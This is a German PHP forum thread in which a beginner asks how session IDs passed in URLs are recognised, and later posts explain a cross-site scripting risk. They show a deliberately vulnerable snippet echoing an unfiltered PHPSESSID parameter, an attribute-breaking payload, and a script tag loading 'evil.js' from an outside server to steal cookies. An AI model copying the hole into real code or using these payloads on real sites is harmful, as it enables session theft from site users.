[Variablen] SESSION Variablen

Einklappen
X
 
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • [Variablen] SESSION Variablen

    Hi ihr,
    ich bin was Session-Variablen in PHP betrifft absoluter neuling und habe ein paar Fragen.
    Ich habe jetzt schon mehrfach gesehen, wie ich die Session ID übergeben kann und möchte dies auch mit SID in der URL umsetzen, aber wie funktioniert das Erkennen der SID auf der aufgerufenen Seite? Das stand nirgens. Funktioniert das automatisch, oder muss ich die SID irgendwo übergeben oder wie gweht das?

  • #2
    es wird automatisch versucht, sobald auf der seite session_start() aufgerufen wird.

    einen guten einstieg findest du unter http://tut.php-q.net/sessions.html

    Kommentar


    • #3
      Danke für die Antwort!
      Die Seite hab ich mir schon angesehen :-)

      Also reicht es, wenn ich einen Link habe folgendes anzugeben ...

      <a href="mysite.php?"<?php echo strip_tags(SID) ?>

      ...damit die Session ID automatisch weitergeleitet wird? Das wird dann automatisch bei session_start(); in der aufgerufenen Seite überprüft?

      Kommentar


      • #4
        Ich denke das Prinzip ist richtig. Nur was willst du noch strip_tagen ???
        Die SID sollte keine tags enthalten.

        Gruss

        tobi
        Gutes Tutorial | PHP Manual | MySql Manual | PHP FAQ | Apache | Suchfunktion für eigene Seiten

        [color=red]"An error does not become truth by reason of multiplied propagation, nor does truth become error because nobody sees it."[/color]
        Mohandas Karamchand Gandhi (Mahatma Gandhi) (Source)

        Kommentar


        • #5
          also, wenn überhaupt, dann
          PHP-Code:
          <a href="mysite.php?<?php echo session_name().'='.session_id(); ?>">
          aber warum nicht auf die cookies setzen, sie werden doch von weitaus mehr als 90% der durchschnittlichen internernutzer akzeptiert?

          informiere dich über die direktiven
          http://de2.php.net/manual/en/ref.ses...on.use-cookies und
          http://de2.php.net/manual/en/ref.ses....use-trans-sid

          damit kannst du dein anliegen evtl. noch eleganter lösen.

          Kommentar


          • #6
            Sie "sollte" keine enthalten
            Ich werds erstmal mit der übergabe in der url probiern. Aber wie würde es prinzipiell aussehen, wenn ich die SID in nem cookie verstauen und abrufen will?

            Kommentar


            • #7
              du hast die seite bei php-q.net nicht aufmerksam gelesen, oder?
              nochmal: http://tut.php-q.net/sessions.html#u4

              Kommentar


              • #8
                Stimmt sorry.
                Die wird dann wohl auch aus nem Cookie automatisch erkannt.

                Kommentar


                • #9
                  richtig. session_start() leitet diesen mechanismus ein.

                  Kommentar


                  • #10
                    Original geschrieben von jahlives
                    Nur was willst du noch strip_tagen ???
                    Die SID sollte keine tags enthalten.
                    Sie sollte nicht - kann aber.

                    Ich kann einen URL zu deiner Seite manipulieren, und irgendwo als Link hinstellen, wo dann deine User draufklicken.
                    Damit ist leicht cross site scripting möglich, wenn du die SID selber an deine Links im HTML-Code anhängst - beispielsweise könnte ich darüber ein kleines Javascript in deine Seite einfügen, welches die Cookies deiner Seite bei deinen Benutzern ausliest und an meinen Server übermittelt, o.ä.

                    Ob PHP beim automatischen umschreiben der Links da selber aufpasst, weiß ich nicht mal genau.
                    Außerdem wird vermutlich das Starten der Session selber fehlschlagen, wenn die Session-ID, die ich übermittle, nicht erlaubte Zeichen enthält. Aber das Risiko für XSS ist damit trotzdem noch vorhanden.
                    I don't believe in rebirth. Actually, I never did in my whole lives.

                    Kommentar


                    • #11
                      @whasaga
                      beispielsweise könnte ich darüber ein kleines Javascript in deine Seite einfügen, welches die Cookies deiner Seite bei deinen Benutzern ausliest und an meinen Server übermittelt
                      Eine kurze Verständnisfrage:
                      Das funzt doch nur wenn du das Script in meinen Webspace einbinden kannst. Ansonsten sollte doch die JS-Beschränkung dafür sorgen, dass nicht über Domainnamen hinaus auf Daten zugegriffen werden kann ( so zumindest habe ich das bis jetzt verstanden

                      Gruss

                      tobi
                      Gutes Tutorial | PHP Manual | MySql Manual | PHP FAQ | Apache | Suchfunktion für eigene Seiten

                      [color=red]"An error does not become truth by reason of multiplied propagation, nor does truth become error because nobody sees it."[/color]
                      Mohandas Karamchand Gandhi (Mahatma Gandhi) (Source)

                      Kommentar


                      • #12
                        Das funzt doch nur wenn du das Script in meinen Webspace einbinden kannst
                        wenn ich etwas eingeben kann, wie
                        Code:
                        <script src="http://meinservder.de/evil.js"></script>
                        und es bei dir unverändert in der seite angezeigt wird, wird bei jedem besucher deiner seite mein evil-code ausgeführt.

                        Ansonsten sollte doch die JS-Beschränkung
                        welche beschränkung?

                        Kommentar


                        • #13
                          Das meinte ich ja, du musst es schaffen, dass das Script unter meinem Domainnamen läuft. Mit Beschränkung meinte ich, dass Cookies nicht von anderen Servern ausserhalb der Domain ausgelesen werden können/sollten.

                          Gruss

                          tobi
                          Gutes Tutorial | PHP Manual | MySql Manual | PHP FAQ | Apache | Suchfunktion für eigene Seiten

                          [color=red]"An error does not become truth by reason of multiplied propagation, nor does truth become error because nobody sees it."[/color]
                          Mohandas Karamchand Gandhi (Mahatma Gandhi) (Source)

                          Kommentar


                          • #14
                            js läuft beim client, und da er auf deiner seite ist, wird das script auf deiner seite ausgeführt. dann müsste http://de.selfhtml.org/javascript/ob...ent.htm#cookie auch funktionieren.

                            aber vielleicht irre ich mich, habe soetwas nie getestet.

                            Kommentar


                            • #15
                              Original geschrieben von jahlives
                              Das meinte ich ja, du musst es schaffen, dass das Script unter meinem Domainnamen läuft.
                              Kein größeres Problem - im angenommenen Fall baust du ja den GET-Parameter mit der Session-ID, den ich manipuliert habe, in deine Links ein - ergo ist das alles jetzt Teil deiner Seite.

                              Du hast:
                              PHP-Code:
                              <a href="blah.php?PHPSESSID=<?php echo $_GET['PHPSESSID']; ?>">klick mich doch!</a>
                              Als GET-Parameter PHPSESSID übergebe ich sowas in der Art:
                              Code:
                              1234"></a><a href="javascript:...
                              Und heraus kommt:
                              Code:
                              <a href="blah.php?PHPSESSID=[b]1234"></a><a href="javascript:...[/b]">klick mich doch!</a>
                              Voila, das ist Javascript-Code, der in deiner Seite steht, also im Kontext deiner Seite ausgeführt wird, wenn der Benutzer auf den (zweiten) Link klickt.


                              Muss ja auch nicht mal ein Link sein - ich könnte auch deinen Link schließen, und nachfolgend einen <script>-Bereich aufmachen, dessen Inhalt dann automatisch interpretiert wird.
                              I don't believe in rebirth. Actually, I never did in my whole lives.

                              Kommentar

                              Lädt...
                              X